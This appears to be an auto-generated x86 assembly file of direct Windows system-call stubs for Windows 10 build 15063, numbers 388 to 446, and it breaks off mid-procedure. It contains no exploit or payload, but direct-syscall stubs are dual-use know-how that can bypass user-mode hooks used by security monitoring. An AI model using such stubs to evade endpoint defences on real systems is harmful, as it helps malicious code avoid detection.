; ULONG __stdcall NtCompareObjects( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCompareObjects PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 388
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCompareObjects ENDP
; ULONG __stdcall NtCompactKeys( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCompactKeys PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 389
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCompactKeys ENDP
; ULONG __stdcall NtCommitTransaction( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCommitTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 390
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCommitTransaction ENDP
; ULONG __stdcall NtCommitEnlistment( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCommitEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 391
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCommitEnlistment ENDP
; ULONG __stdcall NtCommitComplete( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCommitComplete PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 392
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCommitComplete ENDP
; ULONG __stdcall NtCloseObjectAuditAlarm( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCloseObjectAuditAlarm PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 393
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCloseObjectAuditAlarm ENDP
; ULONG __stdcall NtClose( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtClose PROC STDCALL arg_01:DWORD
mov eax , 394
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtClose ENDP
; ULONG __stdcall NtClearEvent( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtClearEvent PROC STDCALL arg_01:DWORD
mov eax , 395
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtClearEvent ENDP
; ULONG __stdcall NtCancelWaitCompletionPacket( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCancelWaitCompletionPacket PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 396
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCancelWaitCompletionPacket ENDP
; ULONG __stdcall NtCancelTimer( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCancelTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 397
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCancelTimer ENDP
; ULONG __stdcall NtCancelSynchronousIoFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCancelSynchronousIoFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 398
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCancelSynchronousIoFile ENDP
; ULONG __stdcall NtCancelIoFileEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCancelIoFileEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 399
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCancelIoFileEx ENDP
; ULONG __stdcall NtCancelIoFile( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCancelIoFile PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 400
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCancelIoFile ENDP
; ULONG __stdcall NtCallbackReturn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCallbackReturn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 401
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCallbackReturn ENDP
; ULONG __stdcall NtAssociateWaitCompletionPacket( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAssociateWaitCompletionPacket PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 402
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAssociateWaitCompletionPacket ENDP
; ULONG __stdcall NtAssignProcessToJobObject( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAssignProcessToJobObject PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 403
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAssignProcessToJobObject ENDP
; ULONG __stdcall NtAreMappedFilesTheSame( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAreMappedFilesTheSame PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 404
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAreMappedFilesTheSame ENDP
; ULONG __stdcall NtApphelpCacheControl( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtApphelpCacheControl PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 405
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtApphelpCacheControl ENDP
; ULONG __stdcall NtAlpcSetInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcSetInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 406
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcSetInformation ENDP
; ULONG __stdcall NtAlpcSendWaitReceivePort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcSendWaitReceivePort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 407
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcSendWaitReceivePort ENDP
; ULONG __stdcall NtAlpcRevokeSecurityContext( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcRevokeSecurityContext PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 408
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcRevokeSecurityContext ENDP
; ULONG __stdcall NtAlpcQueryInformationMessage( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcQueryInformationMessage PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 409
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcQueryInformationMessage ENDP
; ULONG __stdcall NtAlpcQueryInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcQueryInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 410
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcQueryInformation ENDP
; ULONG __stdcall NtAlpcOpenSenderThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcOpenSenderThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 411
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcOpenSenderThread ENDP
; ULONG __stdcall NtAlpcOpenSenderProcess( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcOpenSenderProcess PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 412
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcOpenSenderProcess ENDP
; ULONG __stdcall NtAlpcImpersonateClientOfPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcImpersonateClientOfPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 413
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcImpersonateClientOfPort ENDP
; ULONG __stdcall NtAlpcImpersonateClientContainerOfPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcImpersonateClientContainerOfPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 414
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcImpersonateClientContainerOfPort ENDP
; ULONG __stdcall NtAlpcDisconnectPort( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcDisconnectPort PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 415
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcDisconnectPort ENDP
; ULONG __stdcall NtAlpcDeleteSecurityContext( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcDeleteSecurityContext PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 416
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcDeleteSecurityContext ENDP
; ULONG __stdcall NtAlpcDeleteSectionView( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcDeleteSectionView PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 417
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcDeleteSectionView ENDP
; ULONG __stdcall NtAlpcDeleteResourceReserve( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcDeleteResourceReserve PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 418
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcDeleteResourceReserve ENDP
; ULONG __stdcall NtAlpcDeletePortSection( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcDeletePortSection PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 419
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcDeletePortSection ENDP
; ULONG __stdcall NtAlpcCreateSecurityContext( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcCreateSecurityContext PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 420
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcCreateSecurityContext ENDP
; ULONG __stdcall NtAlpcCreateSectionView( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcCreateSectionView PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 421
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcCreateSectionView ENDP
; ULONG __stdcall NtAlpcCreateResourceReserve( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcCreateResourceReserve PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 422
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcCreateResourceReserve ENDP
; ULONG __stdcall NtAlpcCreatePortSection( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcCreatePortSection PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 423
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcCreatePortSection ENDP
; ULONG __stdcall NtAlpcCreatePort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcCreatePort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 424
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcCreatePort ENDP
; ULONG __stdcall NtAlpcConnectPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcConnectPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 425
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcConnectPort ENDP
; ULONG __stdcall NtAlpcConnectPortEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcConnectPortEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 426
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcConnectPortEx ENDP
; ULONG __stdcall NtAlpcCancelMessage( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcCancelMessage PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 427
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcCancelMessage ENDP
; ULONG __stdcall NtAlpcAcceptConnectPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcAcceptConnectPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 428
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAlpcAcceptConnectPort ENDP
; ULONG __stdcall NtAllocateVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAllocateVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 429
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAllocateVirtualMemory ENDP
; ULONG __stdcall NtAllocateUuids( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAllocateUuids PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 430
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAllocateUuids ENDP
; ULONG __stdcall NtAllocateUserPhysicalPages( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAllocateUserPhysicalPages PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 431
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAllocateUserPhysicalPages ENDP
; ULONG __stdcall NtAllocateReserveObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAllocateReserveObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 432
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAllocateReserveObject ENDP
; ULONG __stdcall NtAllocateLocallyUniqueId( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAllocateLocallyUniqueId PROC STDCALL arg_01:DWORD
mov eax , 433
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAllocateLocallyUniqueId ENDP
; ULONG __stdcall NtAlertThreadByThreadId( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAlertThreadByThreadId PROC STDCALL arg_01:DWORD
mov eax , 434
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAlertThreadByThreadId ENDP
; ULONG __stdcall NtAlertThread( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAlertThread PROC STDCALL arg_01:DWORD
mov eax , 435
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAlertThread ENDP
; ULONG __stdcall NtAlertResumeThread( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAlertResumeThread PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 436
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAlertResumeThread ENDP
; ULONG __stdcall NtAdjustPrivilegesToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAdjustPrivilegesToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 437
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAdjustPrivilegesToken ENDP
; ULONG __stdcall NtAdjustGroupsToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAdjustGroupsToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 438
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAdjustGroupsToken ENDP
; ULONG __stdcall NtAdjustTokenClaimsAndDeviceGroups( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 , ULONG arg_15 , ULONG arg_16 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAdjustTokenClaimsAndDeviceGroups PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD , arg_15:DWORD , arg_16:DWORD
mov eax , 439
call _label_sysenter
ret 64
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAdjustTokenClaimsAndDeviceGroups ENDP
; ULONG __stdcall NtAddDriverEntry( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAddDriverEntry PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 440
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAddDriverEntry ENDP
; ULONG __stdcall NtAddBootEntry( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAddBootEntry PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 441
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAddBootEntry ENDP
; ULONG __stdcall NtAddAtom( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAddAtom PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 442
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAddAtom ENDP
; ULONG __stdcall NtAddAtomEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAddAtomEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 443
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAddAtomEx ENDP
; ULONG __stdcall NtAcquireProcessActivityReference( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAcquireProcessActivityReference PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 444
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAcquireProcessActivityReference ENDP
; ULONG __stdcall NtAccessCheckByTypeResultListAndAuditAlarmByHandle( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 , ULONG arg_15 , ULONG arg_16 , ULONG arg_17 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAccessCheckByTypeResultListAndAuditAlarmByHandle PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD , arg_15:DWORD , arg_16:DWORD , arg_17:DWORD
mov eax , 445
call _label_sysenter
ret 68
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAccessCheckByTypeResultListAndAuditAlarmByHandle ENDP
; ULONG __stdcall NtAccessCheckByTypeResultListAndAuditAlarm( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 , ULONG arg_15 , ULONG arg_16 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAccessCheckByTypeResultListAndAuditAlarm PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD , arg_15:DWORD , arg_16:DWORD
mov eax , 446
call _label_sysenter
ret 64
_label_sysenter:
